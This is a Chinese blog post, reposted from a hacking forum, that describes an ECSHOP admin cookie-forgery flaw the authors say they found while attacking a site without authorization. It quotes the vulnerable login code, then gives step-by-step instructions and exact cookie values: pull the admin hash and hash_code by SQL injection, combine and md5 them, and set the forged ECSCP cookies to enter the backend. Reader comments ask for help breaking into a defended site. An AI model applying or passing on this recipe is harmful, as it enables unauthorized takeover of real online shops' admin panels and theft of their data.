正在阅读:

ECSHOP最新cookie验证不严漏洞 2013 6月全版本通杀

13,447

这个漏洞是我们在进行非授权安全评估时候发现的。是一个ecshop的站,通过以往的0day爆出了管理员密码,无奈解不开。。。于是就想,有没有可能将密文md5存入cookie中登陆。

当然,上面假想的问题是不存在的,但是我们发现确实有类似的漏洞存在。只需要注入读取数据库的管理员加密密文和hashcode就可以登陆后台了。

确实不知道该怎么定性这个漏洞,我们认为cookie验证不严这个名字不错。

大概过程就是,ecshop注入漏洞注入出来的管理员密码解不开,我们通过密文和数据库其他标段信息构造cookie可以成功登陆。我们来详细看这个漏洞:

漏洞发生的原因是cookie验证不严。我们先来看一下验证登陆的地方:

if(!empty($ec_salt))
    {
         /* 检查密码是否正确 */
         $sql = "SELECT user_id, user_name, password, last_login, action_list, last_login,suppliers_id,ec_salt".
            " FROM " . $ecs->table('admin_user') .
            " WHERE user_name = '" . $_POST['username']. "' AND password = '" . md5(md5($_POST['password']).$ec_salt) . "'";
    }
    else
    {
         /* 检查密码是否正确 */
         $sql = "SELECT user_id, user_name, password, last_login, action_list, last_login,suppliers_id,ec_salt".
            " FROM " . $ecs->table('admin_user') .
            " WHERE user_name = '" . $_POST['username']. "' AND password = '" . md5($_POST['password']) . "'";
    }

如果没有salt就只是单层md5加密(后来验证其实有salt和无salt根本不影响这个漏洞的形成)..然后这里

setcookie('ECSCP[admin_id]',   $row['user_id'],                            $time);
setcookie('ECSCP[admin_pass]', md5($row['password'] . $_CFG['hash_code']), $time);

我们发现只要md5过的密码加上hash_code就是admin_pass了,hashcode在这可以查询出来(比方说注入)...

$hash_code = $db->getOne("SELECT value FROM " . $ecs->table('shop_config') . " WHERE code='hash_code'");

语句等于是

SELECT value FROM ecs_shop_config WHERE code='hash_code'

获得hashcode:31693422540744c0a6b6da635b7a5a93

08f2b116f18517707ba870ef19af706f + 31693422540744c0a6b6da635b7a5a93

将上述信息md5之,得到:78F528C52BB214FFA5E489E7A1DCCE93

登陆成功~

以上转发自习科论坛 http://bbs.blackbap.org/thread-4262-1-1.html ,是不是有点难以明白,下面我简单的说明一下:

简单总结

1、通过注入得到管理员的用户名及32位密码,想进入后台,但是32位的密码破解不出来,08f2b116f18517707ba870ef19af706f

2、利用注入从ecs_shop_config得到hashcode: 31693422540744c0a6b6da635b7a5a93

3、把管理员hash和hashcode连接到一直再进行md5加密也就是md5(08f2b116f18517707ba870ef19af706f31693422540744c0a6b6da635b7a5a93)得到的md5值为78F528C52BB214FFA5E489E7A1DCCE93

4、修改你的本地cookie:ECSCP[admin_id]=1; ECSCP[admin_pass]=78F528C52BB214FFA5E489E7A1DCCE93;ECSCP_ID=b5a19c09952c8d1b09a97a89f48df8d1575f1dd1 即可进入后台。

目前有:4条访客评论,博主回复1

  1. flow
    2013-11-26 16:01

    前台有两个狗,后台没办法攻破.折磨人啊

  2. flow
    2013-11-26 16:03

    [/流泪]

  3. flow
    2013-11-26 16:04

    没有其他思路了吗?亲

  4. 安可
    2016-04-27 22:06

    ECSCP_ID=b5a19c09952c8d1b09a97a89f48df8d1575f1dd1这个是怎么来的啊

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌